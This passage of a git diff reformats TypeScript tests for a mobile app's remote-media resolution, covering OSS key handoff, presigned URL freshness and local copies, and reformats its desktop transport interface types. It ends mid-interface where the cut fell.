+ expiresAt: "2026-06-16T10:05:00.000Z",
previewable: true,
});
- expect(fetchRemoteMedia).toHaveBeenCalledWith('xdt-image://cache/a.png', undefined);
- expect(presignGet).toHaveBeenCalledWith('cindy/device-link/user-1/a.png');
+ expect(fetchRemoteMedia).toHaveBeenCalledWith(
+ "xdt-image://cache/a.png",
+ undefined,
+ );
+ expect(presignGet).toHaveBeenCalledWith("cindy/device-link/user-1/a.png");
});
- it('hands the ossKey to onOssKey before presign, so a presign failure is still recoverable', async () => {
+ it("hands the ossKey to onOssKey before presign, so a presign failure is still recoverable", async () => {
// presign 失败会让本函数在返回之前抛错 —— 调用方拿不到 resolved 结果,围绕它写的
// finally 不会执行,已上传的对象永久遗留(review P1)。onOssKey 让 key 在上传成功那一刻
// 就交出去,失败路径也能 best-effort DELETE。
const order: string[] = [];
const fetchRemoteMedia = vi.fn(async () => {
- order.push('upload');
- return { ossKey: 'cindy/device-link/user-1/a.png', mimeType: 'image/png', size: 2048 };
+ order.push("upload");
+ return {
+ ossKey: "cindy/device-link/user-1/a.png",
+ mimeType: "image/png",
+ size: 2048,
+ };
});
const presignGet = vi.fn(async () => {
- order.push('presign');
- throw new Error('relay down');
+ order.push("presign");
+ throw new Error("relay down");
});
const seen: string[] = [];
- await expect(resolveMobileRemoteMedia(
- { kind: 'image', url: 'xdt-image://cache/a.png' },
- { fetchRemoteMedia, presignGet },
- { onOssKey: (key) => { order.push('onOssKey'); seen.push(key); } },
- )).rejects.toThrow('relay down');
+ await expect(
+ resolveMobileRemoteMedia(
+ { kind: "image", url: "xdt-image://cache/a.png" },
+ { fetchRemoteMedia, presignGet },
+ {
+ onOssKey: (key) => {
+ order.push("onOssKey");
+ seen.push(key);
+ },
+ },
+ ),
+ ).rejects.toThrow("relay down");
- expect(seen).toEqual(['cindy/device-link/user-1/a.png']);
+ expect(seen).toEqual(["cindy/device-link/user-1/a.png"]);
// 顺序必须是 上传 → 交出 key → presign,否则失败窗口依旧漏。
- expect(order).toEqual(['upload', 'onOssKey', 'presign']);
+ expect(order).toEqual(["upload", "onOssKey", "presign"]);
});
- it('hands out the ossKey even when the fetch result fails validation (0-byte file)', async () => {
+ it("accepts a zero-byte file and hands out its OSS key before presign", async () => {
// 合法的零字节文件(空 .css / .js)会因 `size > 0` 这条校验先抛错,而被控端的 PUT
// 已经完成 —— key 必须在校验**之前**交出去,否则那个对象永久遗留(review P1)。
const fetchRemoteMedia = vi.fn(async () => ({
- ossKey: 'cindy/device-link/user-1/empty.css',
- mimeType: 'text/css',
+ ossKey: "cindy/device-link/user-1/empty.css",
+ mimeType: "text/css",
size: 0,
}));
const seen: string[] = [];
- await expect(resolveMobileRemoteMedia(
- { kind: 'image', url: 'xdt-image://cache/empty.css' },
- { fetchRemoteMedia, presignGet: vi.fn() },
- { onOssKey: (key) => seen.push(key) },
- )).rejects.toThrow();
+ await expect(
+ resolveMobileRemoteMedia(
+ { kind: "image", url: "xdt-image://cache/empty.css" },
+ {
+ fetchRemoteMedia,
+ presignGet: vi.fn(async () => ({
+ getUrl: "https://example.com/empty",
+ expiresAt: "2099-01-01T00:00:00Z",
+ })),
+ },
+ { onOssKey: (key) => seen.push(key) },
+ ),
+ ).resolves.toMatchObject({ size: 0, url: "https://example.com/empty" });
- expect(seen).toEqual(['cindy/device-link/user-1/empty.css']);
+ expect(seen).toEqual(["cindy/device-link/user-1/empty.css"]);
});
- it('does not call onOssKey when there is no object at all (empty key)', async () => {
- const fetchRemoteMedia = vi.fn(async () => ({ ossKey: '', mimeType: 'text/css', size: 0 }));
+ it("does not call onOssKey when there is no object at all (empty key)", async () => {
+ const fetchRemoteMedia = vi.fn(async () => ({
+ ossKey: "",
+ mimeType: "text/css",
+ size: 0,
+ }));
const onOssKey = vi.fn();
- await expect(resolveMobileRemoteMedia(
- { kind: 'image', url: 'xdt-image://cache/x.css' },
- { fetchRemoteMedia, presignGet: vi.fn() },
- { onOssKey },
- )).rejects.toThrow();
+ await expect(
+ resolveMobileRemoteMedia(
+ { kind: "image", url: "xdt-image://cache/x.css" },
+ { fetchRemoteMedia, presignGet: vi.fn() },
+ { onOssKey },
+ ),
+ ).rejects.toThrow();
expect(onOssKey).not.toHaveBeenCalled();
});
- it('does not call onOssKey for inline results (no OSS object to reclaim)', async () => {
+ it("does not call onOssKey for inline results (no OSS object to reclaim)", async () => {
const fetchRemoteMedia = vi.fn(async () => ({
- ossKey: '',
- mimeType: 'image/webp',
- size: 4096,
- inlineBase64: 'aGVsbG8=',
+ ossKey: "",
+ mimeType: "image/webp",
+ size: 5,
+ inlineBase64: "aGVsbG8=",
}));
const onOssKey = vi.fn();
await resolveMobileRemoteMedia(
- { kind: 'image', url: 'xdt-image://cache/a.png' },
+ { kind: "image", url: "xdt-image://cache/a.png" },
{ fetchRemoteMedia, presignGet: vi.fn() },
{ thumbnail: true, onOssKey },
);
expect(onOssKey).not.toHaveBeenCalled();
});
- it('returns inline thumbnail bytes as a data uri without touching presign', async () => {
+ it("returns inline thumbnail bytes as a data uri without touching presign", async () => {
const fetchRemoteMedia = vi.fn(async () => ({
- ossKey: '',
- mimeType: 'image/webp',
- size: 4096,
- inlineBase64: 'aGVsbG8=',
+ ossKey: "",
+ mimeType: "image/webp",
+ size: 5,
+ inlineBase64: "aGVsbG8=",
}));
const presignGet = vi.fn();
- await expect(resolveMobileRemoteMedia({
- kind: 'image',
- url: 'xdt-image://cache/a.png',
- }, { fetchRemoteMedia, presignGet }, { thumbnail: true })).resolves.toMatchObject({
- url: 'data:image/webp;base64,aGVsbG8=',
- ossKey: '',
- mimeType: 'image/webp',
- size: 4096,
+ await expect(
+ resolveMobileRemoteMedia(
+ {
+ kind: "image",
+ url: "xdt-image://cache/a.png",
+ },
+ { fetchRemoteMedia, presignGet },
+ { thumbnail: true },
+ ),
+ ).resolves.toMatchObject({
+ url: "data:image/webp;base64,aGVsbG8=",
+ ossKey: "",
+ mimeType: "image/webp",
+ size: 5,
previewable: true,
- inlineBase64: 'aGVsbG8=',
+ inlineBase64: "aGVsbG8=",
+ });
+ expect(fetchRemoteMedia).toHaveBeenCalledWith("xdt-image://cache/a.png", {
+ thumbnail: true,
});
- expect(fetchRemoteMedia).toHaveBeenCalledWith('xdt-image://cache/a.png', { thumbnail: true });
expect(presignGet).not.toHaveBeenCalled();
});
- it('falls back to the presign path when an old desktop ignores the thumbnail flag', async () => {
+ it("falls back to the presign path when an old desktop ignores the thumbnail flag", async () => {
const fetchRemoteMedia = vi.fn(async () => ({
- ossKey: 'cindy/device-link/user-1/a.png',
- mimeType: 'image/png',
+ ossKey: "cindy/device-link/user-1/a.png",
+ mimeType: "image/png",
size: 2048,
}));
const presignGet = vi.fn(async () => ({
- getUrl: 'https://oss.example/a.png?signature=1',
- expiresAt: '2026-06-16T10:05:00.000Z',
+ getUrl: "https://oss.example/a.png?signature=1",
+ expiresAt: "2026-06-16T10:05:00.000Z",
}));
- await expect(resolveMobileRemoteMedia({
- kind: 'image',
- url: 'xdt-image://cache/a.png',
- }, { fetchRemoteMedia, presignGet }, { thumbnail: true })).resolves.toMatchObject({
- url: 'https://oss.example/a.png?signature=1',
- ossKey: 'cindy/device-link/user-1/a.png',
+ await expect(
+ resolveMobileRemoteMedia(
+ {
+ kind: "image",
+ url: "xdt-image://cache/a.png",
+ },
+ { fetchRemoteMedia, presignGet },
+ { thumbnail: true },
+ ),
+ ).resolves.toMatchObject({
+ url: "https://oss.example/a.png?signature=1",
+ ossKey: "cindy/device-link/user-1/a.png",
});
- expect(presignGet).toHaveBeenCalledWith('cindy/device-link/user-1/a.png');
+ expect(presignGet).toHaveBeenCalledWith("cindy/device-link/user-1/a.png");
});
- it('marks resolved image, video, and audio media as mobile-previewable by MIME type', () => {
- expect(canPreviewResolvedRemoteMedia('video', 'video/mp4')).toBe(true);
- expect(canPreviewResolvedRemoteMedia('audio', 'audio/mpeg')).toBe(true);
- expect(canPreviewResolvedRemoteMedia('image', 'application/octet-stream')).toBe(false);
- expect(canPreviewResolvedRemoteMedia('video', 'application/octet-stream')).toBe(false);
+ it("marks resolved image, video, and audio media as mobile-previewable by MIME type", () => {
+ expect(canPreviewResolvedRemoteMedia("video", "video/mp4")).toBe(true);
+ expect(canPreviewResolvedRemoteMedia("audio", "audio/mpeg")).toBe(true);
+ expect(
+ canPreviewResolvedRemoteMedia("image", "application/octet-stream"),
+ ).toBe(false);
+ expect(
+ canPreviewResolvedRemoteMedia("video", "application/octet-stream"),
+ ).toBe(false);
});
- it('guards cached presigned urls with a safety window', () => {
- const now = Date.parse('2026-06-16T10:00:00.000Z');
- expect(isResolvedRemoteMediaFresh({ expiresAt: '2026-06-16T10:02:00.000Z' }, now)).toBe(true);
- expect(isResolvedRemoteMediaFresh({ expiresAt: '2026-06-16T10:00:30.000Z' }, now)).toBe(false);
- expect(isResolvedRemoteMediaFresh({ expiresAt: 'bad-date' }, now)).toBe(false);
+ it("guards cached presigned urls with a safety window", () => {
+ const now = Date.parse("2026-06-16T10:00:00.000Z");
+ expect(
+ isResolvedRemoteMediaFresh(
+ { expiresAt: "2026-06-16T10:02:00.000Z" },
+ now,
+ ),
+ ).toBe(true);
+ expect(
+ isResolvedRemoteMediaFresh(
+ { expiresAt: "2026-06-16T10:00:30.000Z" },
+ now,
+ ),
+ ).toBe(false);
+ expect(isResolvedRemoteMediaFresh({ expiresAt: "bad-date" }, now)).toBe(
+ false,
+ );
});
- describe('localCopyResolvedMedia', () => {
+ describe("localCopyResolvedMedia", () => {
const resolved = {
- url: 'https://oss.example/obj?sig=abc',
- ossKey: 'user/obj-1',
- mimeType: 'image/png',
+ url: "https://oss.example/obj?sig=abc",
+ ossKey: "user/obj-1",
+ mimeType: "image/png",
size: 3_000_000,
- expiresAt: '2026-06-16T11:00:00.000Z',
+ expiresAt: "2026-06-16T11:00:00.000Z",
previewable: true,
};
- it('swaps the presigned url for the local file and keeps the oss key', () => {
+ it("swaps the presigned url for the local file and keeps the oss key", () => {
// 保留 ossKey 是硬要求:对象仍在世,退屏清理靠它 DELETE。
- expect(localCopyResolvedMedia(resolved, {
- uri: 'file:///cache/obj-1.png',
- mimeType: 'image/png',
- size: 2_999_888,
- })).toEqual({
- url: 'file:///cache/obj-1.png',
- ossKey: 'user/obj-1',
- mimeType: 'image/png',
+ expect(
+ localCopyResolvedMedia(resolved, {
+ uri: "file:///cache/obj-1.png",
+ mimeType: "image/png",
+ size: 2_999_888,
+ }),
+ ).toEqual({
+ url: "file:///cache/obj-1.png",
+ ossKey: "user/obj-1",
+ mimeType: "image/png",
size: 2_999_888,
expiresAt: REMOTE_MEDIA_NEVER_EXPIRES,
previewable: true,
});
});
- it('falls back to the presigned entry when the disk copy is unusable', () => {
+ it("falls back to the presigned entry when the disk copy is unusable", () => {
// 落盘被跳过(单对象超预算)/ 失败 / 落成了非图片:回落原条目,不能返回坏地址。
expect(localCopyResolvedMedia(resolved, null)).toBeNull();
expect(localCopyResolvedMedia(resolved, undefined)).toBeNull();
- expect(localCopyResolvedMedia(resolved, { uri: '', mimeType: 'image/png', size: 1 })).toBeNull();
- expect(localCopyResolvedMedia(resolved, {
- uri: 'file:///cache/obj-1.bin',
- mimeType: 'application/octet-stream',
- size: 1,
- })).toBeNull();
+ expect(
+ localCopyResolvedMedia(resolved, {
+ uri: "",
+ mimeType: "image/png",
+ size: 1,
+ }),
+ ).toBeNull();
+ expect(
+ localCopyResolvedMedia(resolved, {
+ uri: "file:///cache/obj-1.bin",
+ mimeType: "application/octet-stream",
+ size: 1,
+ }),
+ ).toBeNull();
});
- it('marks the local copy as non-expiring so reopening skips the network', () => {
+ it("marks the local copy as non-expiring so reopening skips the network", () => {
const local = localCopyResolvedMedia(resolved, {
- uri: 'file:///cache/obj-1.png',
- mimeType: 'image/png',
+ uri: "file:///cache/obj-1.png",
+ mimeType: "image/png",
size: 10,
});
// 队列按 isResolvedRemoteMediaFresh 判缓存可用性:本地文件必须恒 fresh,
// 否则再次点开又会回到「重新取件 + 重新下载」。
- expect(local && isResolvedRemoteMediaFresh(local, Date.parse('2030-01-01T00:00:00.000Z'))).toBe(true);
+ expect(
+ local &&
+ isResolvedRemoteMediaFresh(
+ local,
+ Date.parse("2030-01-01T00:00:00.000Z"),
+ ),
+ ).toBe(true);
});
});
- it('formats byte sizes compactly', () => {
- expect(formatRemoteMediaSize(0)).toBe('');
- expect(formatRemoteMediaSize(512)).toBe('512 B');
- expect(formatRemoteMediaSize(2048)).toBe('2.0 KB');
- expect(formatRemoteMediaSize(2 * 1024 * 1024)).toBe('2.0 MB');
+ it("formats byte sizes compactly", () => {
+ expect(formatRemoteMediaSize(0)).toBe("");
+ expect(formatRemoteMediaSize(512)).toBe("512 B");
+ expect(formatRemoteMediaSize(2048)).toBe("2.0 KB");
+ expect(formatRemoteMediaSize(2 * 1024 * 1024)).toBe("2.0 MB");
});
});
diff --git a/apps/mobile/src/device-link/mobileMakerTransport.ts b/apps/mobile/src/device-link/mobileMakerTransport.ts
index 47a2771e0f..cea34a6015 100644
--- a/apps/mobile/src/device-link/mobileMakerTransport.ts
+++ b/apps/mobile/src/device-link/mobileMakerTransport.ts
@@ -1,27 +1,48 @@
+import {
+ tryMobilePeerFile,
+ peerMediaUri,
+ releasePeerMedia,
+} from "./peerFileRegistry";
+import { withTransientRemoteRetry } from "./remoteRetry";
+import {
+ getMobileAuthOwner,
+ isMobileAuthOwnerCurrent,
+} from "@/auth/authOwnerGeneration";
import type {
ConversationSearchRequest,
ConversationSearchResponse,
-} from '@cindy/maker-shared/conversation-search';
+} from "@cindy/maker-shared/conversation-search";
import type {
InputProjection,
PendingInteraction,
QueuedRemoteMessage,
RemoteMessage,
RemoteSession,
-} from '@/session/types';
+} from "@/session/types";
import type {
MobileSessionReference,
MobileSessionReferenceContext,
-} from '@/session/sessionReferences';
+} from "@/session/sessionReferences";
import {
DEVICE_LINK_MEDIA_FETCH_CHANNEL,
DEVICE_LINK_VOICE_DICTIONARY_GET_CHANNEL,
DEVICE_LINK_VOICE_DICTIONARY_LEARNING_CHANNEL,
DEVICE_LINK_VOICE_TRANSCRIBE_CHANNEL,
MOBILE_REMOTE_INVOKE_CHANNELS,
-} from '@cindy/maker-shared/device-link-contract';
-import { CONTROLLER_CAPABILITY_PROVIDER_LOGO_KINDS_V2 } from '@cindy/device-link';
-import type { HistoryViewPage, HistoryDetailPage, HistoryWorkSummary } from '@cindy/maker-shared/message-window';
+} from "@cindy/maker-shared/device-link-contract";
+import {
+ CONTROLLER_CAPABILITY_PROVIDER_LOGO_KINDS_V2,
+ readDeviceFile,
+ FILE_PEER_MAX_BYTES,
+ createDeviceFileOperations,
+ exportDeviceFile,
+ assertFileReadActive,
+} from "@cindy/device-link";
+import type {
+ HistoryViewPage,
+ HistoryDetailPage,
+ HistoryWorkSummary,
+} from "@cindy/maker-shared/message-window";
import type {
MobileGoalLimitsInput,
MobileGoalStatusPayload,
@@ -32,10 +53,13 @@ import type {
MobileVoiceDictionaryLearningRequest,
MobileVoiceDictionarySnapshotResult,
MobileVoiceDictionaryLearningResult,
-} from '@cindy/maker-shared/device-link-contract';
-import type { ProviderView } from '@cindy/model-providers/registry';
-import type { RewindPreviewPayload } from '@/session/rewindPreview';
-import type { MobileRemoteMediaFetchResult } from '@/session/remoteMedia';
+} from "@cindy/maker-shared/device-link-contract";
+import type { ProviderView } from "@cindy/model-providers/registry";
+import type { RewindPreviewPayload } from "@/session/rewindPreview";
+import type {
+ MobileRemoteMediaFetchOptions,
+ MobileRemoteMediaFetchResult,
+} from "@/session/remoteMedia";
import type {
RemoteSchedule,
RemoteScheduleCreateFromTemplateInput,
@@ -43,7 +67,7 @@ import type {
RemoteScheduleTemplate,
RemoteScheduleWriteInput,
ScheduleListFilter,
-} from '@/scheduler/types';
+} from "@/scheduler/types";
export type RemoteInvoke = <T = unknown>(
deviceId: string,
@@ -54,6 +78,7 @@ export type RemoteInvoke = <T = unknown>(
export interface MobileMakerTransportDeps {
deviceId: string;
invoke: RemoteInvoke;
+ isCurrent?: () => boolean;
}
export interface SendOptions {
@@ -63,7 +88,7 @@ export interface SendOptions {
}
export interface CreateSessionOptions {
- agentKind: 'claude-code' | 'codex' | 'pi';
+ agentKind: "claude-code" | "codex" | "pi";
/**
* 控制端预生成的 sessionId(新建会话乐观管线用):被控端 readCreateSessionOpts
* 自手机远控首版(2026-06-21)起透传 body.id,maker-core createSession 对
@@ -76,7 +101,7 @@ export interface CreateSessionOptions {
effort?: string;
permissionMode?: string;
fastMode?: boolean;
- workspaceKind?: 'project' | 'dialogue';
+ workspaceKind?: "project" | "dialogue";
extraDirs?: string[];
/**
* 显式选中的供应商(来源)id。仅当用户在模型下拉里选了非默认来源时带上;
@@ -95,22 +120,22 @@ export interface CreateSessionResult {
usedProjectContext?: boolean;
}
-export type MobileAgentKind = 'claude-code' | 'codex' | 'pi';
+export type MobileAgentKind = "claude-code" | "codex" | "pi";
export type MobileSlashCommand =
- | { kind: 'agent-builtin'; name: string; description: string }
+ | { kind: "agent-builtin"; name: string; description: string }
| {
- kind: 'agent-skill';
+ kind: "agent-skill";
name: string;
description?: string;
- source: 'user' | 'skill';
+ source: "user" | "skill";
path?: string;
scope?: string;
enabled?: boolean;
}
// desktop 自有命令(被控端 main 的 DesktopCommandRegistry,如 /learn):
// 由控制端按名字分流执行,不转发给 agent。
- | { kind: 'desktop'; name: string; description: string };
+ | { kind: "desktop"; name: string; description: string };
export interface MobileAgentCommandListResult {
success: boolean;
@@ -127,9 +152,9 @@ export interface MobileDesktopCommandListResult {
/** learn:start 请求(形状对齐被控端 learn-host 的 LearnStartRequest 校验)。 */
export interface MobileLearnStartRequest {
input: string;
- sourceKind: 'freetext' | 'session' | 'hub';
+ sourceKind: "freetext" | "session" | "hub";
hubSlug?: string;
- hubCatalogScope?: 'market' | 'team';
+ hubCatalogScope?: "market" | "team";
originSessionId?: string;
}
@@ -140,7 +165,7 @@ export interface MobileAgentSkillListResult {
}
export interface MobileAtResourceItem {
- type: 'file' | 'dir' | 'agent';
+ type: "file" | "dir" | "agent";
name: string;
relPath: string;
description?: string;
@@ -167,7 +192,7 @@ export interface MessageAroundOptions {
export interface RemoteDirectoryEntry {
name: string;
- kind: 'dir' | 'symlink' | 'file';
+ kind: "dir" | "symlink" | "file";
path: string;
}
@@ -178,14 +203,14 @@ export interface RemoteDirectoryListResult {
}
export interface RemotePathStatResult {
- kind: 'dir' | 'file' | 'missing';
+ kind: "dir" | "file" | "missing";
resolvedPath: string;
}
export interface RemoteTextFilePreviewResult {
success: boolean;
error?: string;
- reason?: 'oversize' | 'not_found' | 'forbidden' | 'read_failed';
+ reason?: "oversize" | "not_found" | "forbidden" | "read_failed";
data?: string;
size: number;
limitMb?: number;
@@ -199,6 +224,7 @@ export interface RemoteTextFilePreviewResult {
export interface FileBrowserCapsResult {
ok: boolean;
gzip?: boolean;
+ completeDirectoryListing?: boolean;
/** 老被控端对未知 op 返回 {ok:false,message:'unknown op: caps'}。 */
message?: string;
}
@@ -210,21 +236,33 @@ export interface FileBrowserReadFileData {
size: number;
mtimeMs: number;
truncated?: boolean;
- contentEncoding?: 'gzip';
+ contentEncoding?: "gzip";
}
export type FileBrowserReadFileResult =
| { ok: true; data: FileBrowserReadFileData }
| {
ok: false;
- code?: 'OVERSIZE' | 'BINARY_FILE' | 'READ_FAILED';
+ code?: "OVERSIZE" | "BINARY_FILE" | "READ_FAILED";
message?: string;
- stat?: { relPath: string; type: 'file'; size: number; mtimeMs: number };
+ stat?: { relPath: string; type: "file"; size: number; mtimeMs: number };
};
export type FileBrowserThumbnailResult =
- | { ok: true; dataBase64: string; mimeType: 'image/webp'; width: number; height: number; size: number; mtimeMs: number }
- | { ok: false; code?: 'THUMB_UNSUPPORTED' | 'THUMB_TOO_LARGE' | 'THUMB_FAILED'; message?: string };
+ | {
+ ok: true;
+ dataBase64: string;
+ mimeType: "image/webp";
+ width: number;
+ height: number;
+ size: number;
+ mtimeMs: number;
+ }
+ | {
+ ok: false;
+ code?: "THUMB_UNSUPPORTED" | "THUMB_TOO_LARGE" | "THUMB_FAILED";
+ message?: string;
+ };
export interface FileBrowserListAllFilesResult {
files: string[];
@@ -238,7 +276,14 @@ export type FileBrowserExportStartResult =
| { ok: false; message?: string };
export type FileBrowserExportStatusResult =
- | { ok: true; state: 'uploading' | 'done' | 'error'; key?: string; message?: string; size: number; uploaded: number }
+ | {
+ ok: true;
+ state: "uploading" | "done" | "error";
+ key?: string;
+ message?: string;
+ size: number;
+ uploaded: number;
+ }
| { ok: false; message?: string };
export interface FileBrowserSearchMatch {
@@ -371,7 +416,15 @@ export interface MobileWorktreeMeta {
/** 工作端 worktree:create 回包(error.message 为被控端生成的可展示文案)。 */
export type MobileWorktreeCreateResult =
| { ok: true; meta: MobileWorktreeMeta }
- | { ok: false; error: { kind: string; message: string; hint?: string; rawStderr?: string } };
+ | {
+ ok: false;
+ error: {
+ kind: string;
+ message: string;
+ hint?: string;
+ rawStderr?: string;
+ };
+ };
export interface MobileMakerTransport {
createSession(opts: CreateSessionOptions): Promise<CreateSessionResult>;
@@ -397,8 +450,13 @@ export interface MobileMakerTransport {
modelVisibilityOverrides?: Record<string, boolean>;
}>;
getSession(sessionId: string): Promise<RemoteSession>;
- searchConversations(request: ConversationSearchRequest): Promise<ConversationSearchResponse>;
- patchSessionMeta(sessionId: string, patch: SessionMetaPatch): Promise<RemoteSession>;
+ searchConversations(
+ request: ConversationSearchRequest,
+ ): Promise<ConversationSearchResponse>;
+ patchSessionMeta(
+ sessionId: string,
+ patch: SessionMetaPatch,
+ ): Promise<RemoteSession>;
/**
* error-tail「忽略」:被控端把该 role='error' 行的 content merge dismissed:true
* 持久化(不丢原字段),重连/历史重拉后 banner 不复活。老被控端无此 channel →
@@ -415,15 +473,36 @@ export interface MobileMakerTransport {
* handler)。只生成不落库,持久化仍走 patchSessionMeta;失败/无素材时 title 为 null。
*/
regenerateSessionTitle(sessionId: string): Promise<{ title: string | null }>;
- listMessages(sessionId: string, opts?: MessageListOptions): Promise<RemoteMessage[]>;
- readHistoryView(sessionId: string, before?: string): Promise<HistoryViewPage<RemoteMessage>>;
- readWorkDetails(sessionId: string, ref: HistoryWorkSummary, after?: string): Promise<HistoryDetailPage<RemoteMessage>>;
- setHistoryExpanded(sessionId: string, refs: readonly HistoryWorkSummary[]): Promise<void>;
- aroundMessages(sessionId: string, messageId: string, opts?: MessageAroundOptions): Promise<RemoteMessage[]>;
- aroundMessagesByClientId(sessionId: string, clientId: string, opts?: MessageAroundOptions): Promise<RemoteMessage[]>;
+ listMessages(
+ sessionId: string,
+ opts?: MessageListOptions,
+ ): Promise<RemoteMessage[]>;
+ readHistoryView(
+ sessionId: string,
+ before?: string,
+ ): Promise<HistoryViewPage<RemoteMessage>>;
+ readWorkDetails(
+ sessionId: string,
+ ref: HistoryWorkSummary,
+ after?: string,
+ ): Promise<HistoryDetailPage<RemoteMessage>>;
+ setHistoryExpanded(
+ sessionId: string,
+ refs: readonly HistoryWorkSummary[],
+ ): Promise<void>;
+ aroundMessages(
+ sessionId: string,
+ messageId: string,
+ opts?: MessageAroundOptions,
+ ): Promise<RemoteMessage[]>;
+ aroundMessagesByClientId(
+ sessionId: string,
+ clientId: string,
+ opts?: MessageAroundOptions,
+ ): Promise<RemoteMessage[]>;
send(
sessionId: string,
- message: string | { type: 'user'; content: unknown },
+ message: string | { type: "user"; content: unknown },
createOpts?: CreateSessionOptions,
sendOpts?: SendOptions,
): Promise<{ accepted: true } | { accepted: false; reason?: string }>;
@@ -448,7 +527,9 @@ export interface MobileMakerTransport {
fastMode?: boolean,
): Promise<MobileSessionAgentSwitchResult>;
/** 读取 desktop main 的权威 pending intent,用于重连 / 重进页面恢复。 */
- getSessionAgentSwitchIntent(sessionId: string): Promise<MobileSessionAgentSwitchIntent | null>;
+ getSessionAgentSwitchIntent(
+ sessionId: string,
+ ): Promise<MobileSessionAgentSwitchIntent | null>;
setEffort(sessionId: string, effort: string): Promise<void>;
setPermissionMode(sessionId: string, mode: string): Promise<void>;
/** 计划模式一级开关(#494 新协议,capabilities.planMode.supported 时可用);
@@ -463,12 +544,20 @@ export interface MobileMakerTransport {
* 接口返回为准,shape 见 maker-shared summarizeAccountRateLimits),claude-code →
* 网关配额。老被控端 CHANNEL_NOT_ALLOWED → 调用方隐藏限额区块。
*/
- getAccountUsage(agentKind: MobileAgentKind, providerId?: string): Promise<unknown>;
- getSessionEstimatedValue(sessionId: string): Promise<{ totalValueMoney?: unknown; totalValueUsd?: number }>;
+ getAccountUsage(
+ agentKind: MobileAgentKind,
+ providerId?: string,
+ ): Promise<unknown>;
+ getSessionEstimatedValue(
+ sessionId: string,
+ ): Promise<{ totalValueMoney?: unknown; totalValueUsd?: number }>;
/** Codex app-server authoritative windows plus banked reset credits and a bound reset offer. */
getCodexRateLimits(providerId?: string): Promise<MobileCodexRateLimitsResult>;
/** Consume the desktop-issued offer; retries must pass the same idempotency key. */
- resetCodexRateLimits(idempotencyKey: string, providerId?: string): Promise<MobileCodexRateLimitResetResult>;
+ resetCodexRateLimits(
+ idempotencyKey: string,
+ providerId?: string,
+ ): Promise<MobileCodexRateLimitResetResult>;
/** 网关 API key presence-only 探测(只回 boolean;老被控端 → 调用方按 unknown 处理)。 */
getApiKeyPresent(): Promise<{ present: boolean }>;
/** 会话「非选中模型」effort/fast 写穿(老被控端 → 调用方吞掉降级)。 */
@@ -476,7 +565,9 @@ export interface MobileMakerTransport {
/** 草稿「模型 effort/fast」写穿(active 恒 false;老被控端 → 调用方吞掉降级)。 */
applyNewMakerDraftPref(pref: MobileNewMakerDraftPref): Promise<void>;
/** 工作端 New Maker 草稿默认值镜像(只读;手机当前只消费 worktreeEnabled)。 */
- getNewMakerDefaults(agentKind: MobileAgentKind): Promise<MobileNewMakerDefaults>;
+ getNewMakerDefaults(
+ agentKind: MobileAgentKind,
+ ): Promise<MobileNewMakerDefaults>;
/** 「新建会话默认启用 worktree」写穿工作端(老被控端 → 调用方吞掉降级)。 */
applyNewMakerWorktreePref(worktreeEnabled: boolean): Promise<void>;
/** 读取工作端某 canonical repo 的 New Maker worktree 源分支;未选择过返回 null。 */
@@ -512,9 +603,10 @@ export interface MobileMakerTransport {
* 精确 worktree。create 回包前恢复时可改用预先持久化的 recoveryKey;被控端会再次
* 校验登记匹配、dirty 与 live ownership。
*/
- discardPrecreated(input:
- | { sessionId: string; path: string; recoveryKey?: never }
- | { sessionId: string; recoveryKey: string; path?: never }
+ discardPrecreated(
+ input:
+ | { sessionId: string; path: string; recoveryKey?: never }
+ | { sessionId: string; recoveryKey: string; path?: never },
): Promise<{ discarded: true; branchDeleted?: boolean }>;
};
listAgentCommands(
@@ -532,20 +624,42 @@ export interface MobileMakerTransport {
agentKind: MobileAgentKind,
opts: { workingDir?: string; forceReload?: boolean; sessionId?: string },
): Promise<MobileAgentSkillListResult>;
- scanAtResources(agentKind: MobileAgentKind, opts: { workingDir: string; cap?: number; query?: string }): Promise<MobileAtResourceScanResult>;
- fetchRemoteMedia(url: string, opts?: { skipCache?: boolean; thumbnail?: boolean }): Promise<MobileRemoteMediaFetchResult>;
- transcribeVoice(input: MobileVoiceTranscribeRequest): Promise<MobileVoiceTranscribeResult>;
- recordVoiceDictionaryLearning(input: MobileVoiceDictionaryLearningRequest): Promise<MobileVoiceDictionaryLearningResult>;
+ scanAtResources(
+ agentKind: MobileAgentKind,
+ opts: { workingDir: string; cap?: number; query?: string },
+ ): Promise<MobileAtResourceScanResult>;
+ fetchRemoteMedia(
+ url: string,
+ opts?: MobileRemoteMediaFetchOptions,
+ ): Promise<MobileRemoteMediaFetchResult>;
+ transcribeVoice(
+ input: MobileVoiceTranscribeRequest,
+ ): Promise<MobileVoiceTranscribeResult>;
+ recordVoiceDictionaryLearning(
+ input: MobileVoiceDictionaryLearningRequest,
+ ): Promise<MobileVoiceDictionaryLearningResult>;
/**
* 拉取被控桌面的语音词典只读快照。老被控端不识别该 channel 会回
* CHANNEL_NOT_ALLOWED,调用方据此静默回退到「无词典」,不打断语音输入。
*/
getVoiceDictionary(): Promise<MobileVoiceDictionarySnapshotResult>;
getPendingInteractions(sessionId: string): Promise<PendingInteraction[]>;
- resolveInteraction(requestId: string, decision: Record<string, unknown>): Promise<{ accepted: boolean } | void>;
- getContextUsage(sessionId: string, createOpts?: Record<string, unknown>): Promise<unknown>;
- fork(sourceSessionId: string, messageClientId: string): Promise<RemoteSession>;
- rewindPreview(sessionId: string, clientId: string): Promise<RewindPreviewPayload>;
+ resolveInteraction(
+ requestId: string,
+ decision: Record<string, unknown>,
+ ): Promise<{ accepted: boolean } | void>;
+ getContextUsage(
+ sessionId: string,
+ createOpts?: Record<string, unknown>,
+ ): Promise<unknown>;
+ fork(
+ sourceSessionId: string,
+ messageClientId: string,
+ ): Promise<RemoteSession>;
+ rewindPreview(
+ sessionId: string,
+ clientId: string,
+ ): Promise<RewindPreviewPayload>;
rewindCommit(sessionId: string, clientId: string): Promise<RemoteSession>;
deleteMessage(
sessionId: string,
@@ -559,10 +673,17 @@ export interface MobileMakerTransport {
* 'explicit' = 内容真实展示(可清 error 未读);'passive' = 导航类被动信号。
* 老被控端无此 channel → CHANNEL_NOT_ALLOWED,调用方吞掉降级。
*/
- clearSessionAttention(sessionId: string, intent: 'explicit' | 'passive'): Promise<void>;
+ clearSessionAttention(
+ sessionId: string,
+ intent: "explicit" | "passive",
+ ): Promise<void>;
/** 目标模式:goal 状态机在被控端 GoalController 执行,这里只是隧道封装(路 A)。 */
goal: {
- set(input: { sessionId: string; objective: string; limits?: MobileGoalLimitsInput }): Promise<void>;
+ set(input: {
+ sessionId: string;
+ objective: string;
